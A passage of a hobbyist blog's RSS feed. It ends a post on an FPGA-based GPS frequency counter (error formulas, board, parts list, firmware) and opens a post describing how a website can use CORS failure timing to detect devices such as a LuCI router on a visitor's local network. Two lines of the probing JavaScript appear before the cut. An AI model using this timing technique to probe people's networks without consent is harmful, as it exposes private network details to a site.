style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-5.1692599999999995em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.427em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8804400000000001em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;≈&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.03094em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03148em;&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8641079999999999em;&quot;&gt;&lt;span style=&quot;top:-2.4435610000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.113em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.256439em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03148em;&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-0.7360600000000004em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03148em;&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.32144em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8804400000000001em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03148em;&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;ϵ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:4.07926em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;max&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;∣&lt;/mo&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;∣&lt;/mo&gt;&lt;mo&gt;≈&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;/&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
  \max \lvert \epsilon \rvert \approx 1 / (t_0 f)
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;∣&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;ϵ&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;∣&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;≈&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;As changing the measured frequency isn’t usually practical, we are left with manipulating
our integration time to get to the desired precision. For instance, given a 10 MHz
oscillator, this gets us to ±0.1 ppm at 1 second, 0.01 ppm at 10 seconds…&lt;/p&gt;

&lt;p&gt;Unfortunately I don’t have any good frequency reference to figure out if these
error calculations actually estimate the measured value properly.&lt;/p&gt;

&lt;p&gt;The plot below shows a ~12-hour measurement (100 seconds of sliding average) of the
&lt;a href=&quot;https://www.rakon.com/products/families/download/file?fid=39.225&quot;&gt;TCXO&lt;/a&gt;
inside my &lt;a href=&quot;https://myriadrf.org/projects/limesdr/&quot;&gt;LimeSDR&lt;/a&gt;. Given the
parameters of the oscillator, the values seem pretty sensible.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/limesdr-plot.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/gfc/t/limesdr-plot.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;hardware&quot;&gt;Hardware&lt;/h2&gt;

&lt;h3 id=&quot;fpga&quot;&gt;FPGA&lt;/h3&gt;

&lt;p&gt;I went with a small &lt;a href=&quot;https://www.altera.com/products/fpga/max-series/max-10/overview.html&quot;&gt;MAX 10&lt;/a&gt;
series FPGA. These FPGAs contain integrated flash memory for storing the configuration
and also are capable of operating from just a single 3.3V power supply rail. This
brings the amount of additional circuitry required to the level of an average
microcontroller.&lt;/p&gt;

&lt;p&gt;Beware of the “compact features” variants, as they don’t support SRAM initialization
nor custom user flash partition. This makes loading firmware to a softcore
pretty inconvenient.&lt;/p&gt;

&lt;p&gt;Unfortunately the only non-BGA version available (I don’t have very good track record of manual BGA
soldering) is the humongous 144-pin QFP. This at least allows me to
use just a two layer board though.&lt;/p&gt;

&lt;h3 id=&quot;board&quot;&gt;Board&lt;/h3&gt;

&lt;style&gt;
a[href=&quot;/images/gfc/board.png&quot;] img {
  background: none;
}
&lt;/style&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/board.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/gfc/t/board.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is nothing really special on the board — it’s essentially just the FPGA,
the GPS module and the OLED with some supporting circuitry.&lt;/p&gt;

&lt;p&gt;As using an active antenna usually helps GPS reception considerably, the board
has a bias-T providing 3.3 V to the antenna connector.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/front.jpg&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/gfc/t/front.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;bill-of-materials&quot;&gt;Bill of materials&lt;/h3&gt;

&lt;p&gt;(Only the interesting parts anyway)&lt;/p&gt;

&lt;table class=&quot;bom&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Description&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://cz.mouser.com/ProductDetail/Intel-Altera/10M08SCE144C8G&quot;&gt;10M08SCE144C8G&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MAX10 FPGA in QFP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.ebay.com/itm/Ublox-NEO-6M-GPS-Module-Aircraft-Flight-Controller-For-Arduino-MWC-IMU-APM2/173411224133&quot;&gt;Ublox NEO-6M&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;GPS module with PPS output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;ttps://www.ebay.com/itm/0-96-I2C-IIC-SPI-Serial-128X64-OLED-LCD-Display-SSD1306-for-51-STM32-Arduino/201688735605&quot;&gt;OLED module&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SSD1306-based OLED module with SPI interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://cz.mouser.com/ProductDetail/microchip/24aa32at-i-ot/&quot;&gt;24AA32AT&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;EEPROM for the GPS module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://cz.mouser.com/ProductDetail/texas-instruments/lp5912-33drvr/?&quot;&gt;LP5912&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;3.3V linear regulator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.aliexpress.com/item/2PCS-MS621FE-FL11E-NEW-Seiko-MS-621FE-MS621FE-Rechargeable-3V-Back-up-Battery/32717835081.html&quot;&gt;MS621FE&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SMD coin cell battery for the GPS module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://cz.mouser.com/ProductDetail/texas-instruments/sn74lv1t34dbvr/&quot;&gt;SN74LV1T34DBVR&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Single channel CMOS buffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;firmware&quot;&gt;Firmware&lt;/h2&gt;

&lt;p&gt;I wrote the FPGA gateware in &lt;a href=&quot;https://github.com/freechipsproject/chisel3&quot;&gt;Chisel&lt;/a&gt;
with some occasional Verilog plumbing. In total, the design eats up just
around ~40% of the available logic elements of the FPGA. Almost all of the
memory blocks are consumed, but I haven’t performed even the most obvious optimization
(such as running the code directly from flash or at least keeping the graphic
data there).&lt;/p&gt;

&lt;p&gt;The design centers around the &lt;a href=&quot;https://github.com/cliffordwolf/picorv32&quot;&gt;PicoRV32&lt;/a&gt;
&lt;a href=&quot;https://riscv.org/&quot;&gt;RISC-V&lt;/a&gt; softcore with a bunch of custom peripherals. The
processor does everything from talking with the GPS module over UART to drawing
the UI on the OLED screen to handling the higher levels of the USB stack.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/gfc/schema.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 1053px&quot; src=&quot;/images/gfc/schema.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;usb-stack&quot;&gt;USB Stack&lt;/h3&gt;

&lt;p&gt;Inspired by a &lt;a href=&quot;https://www.youtube.com/watch?v=GFY_A3jcI28&quot;&gt;talk&lt;/a&gt; at 33C3,
I decided to implement a primitive USB stack. The onboard USB connector was primarily
intended for power delivery, but connecting the data pair just-in-case to the
FPGA was a no brainer.&lt;/p&gt;

&lt;p&gt;&lt;img style=&quot;max-width: 100%&quot; src=&quot;/images/gfc/terminal.gif&quot; title=&quot;letadlo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The stack runs at low-speed (1.5Mb/s) and can do only a somewhat limited
subset of the usual USB capabilities — only control transfers are supported.
Altough this is not good enough to implement most of the “standard” USB devices
(like emulated serial port), it is sufficient to read out the counter
value and perform “long-term” measurements.&lt;/p&gt;

&lt;h2 id=&quot;source&quot;&gt;Source&lt;/h2&gt;

&lt;p&gt;The project is released under the MIT license.
All of the source code and PCB drawings can be found on my &lt;a href=&quot;https://github.com/atx/gps-freq-counter&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Aug 2018 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/gfc/</link>
        <guid isPermaLink="true">https://blog.atx.name/gfc/</guid>
        
        
      </item>
    
      <item>
        <title>Port scanning from the browser</title>
        <description>&lt;p&gt;While messing around with the stuff from my previous &lt;a href=&quot;/dont-bind-localhost&quot;&gt;blogpost&lt;/a&gt;
I noticed some interesting browser behavior.&lt;/p&gt;

&lt;p&gt;The W3 Cross Origin Resource Sharing standard
&lt;a href=&quot;https://www.w3.org/TR/cors/#simple-cross-origin-request&quot;&gt;dictates&lt;/a&gt;,
that when a website attempts to fetch an URL
and fails the CORS check, the error should be indistinguishable from a
network failure.&lt;/p&gt;

&lt;p&gt;Browsers of course implement this — unfortunately, a browser can only asses
whether a request failed the CORS check after opening the connection and
finishing the HTTP request/response roundtrip.
Depending on the target service, this means that there can be significat difference
in execution time for these requests.&lt;/p&gt;

&lt;p&gt;For example, I can easily figure out if you have an OpenWRT router running the LuCI
webinterface just by measuring the time to failure of a request headed for
&lt;code&gt;http://192.168.1.1/cgi-bin/luci&lt;/code&gt; (and comparing this to some negative “baseline” case).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tStart&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
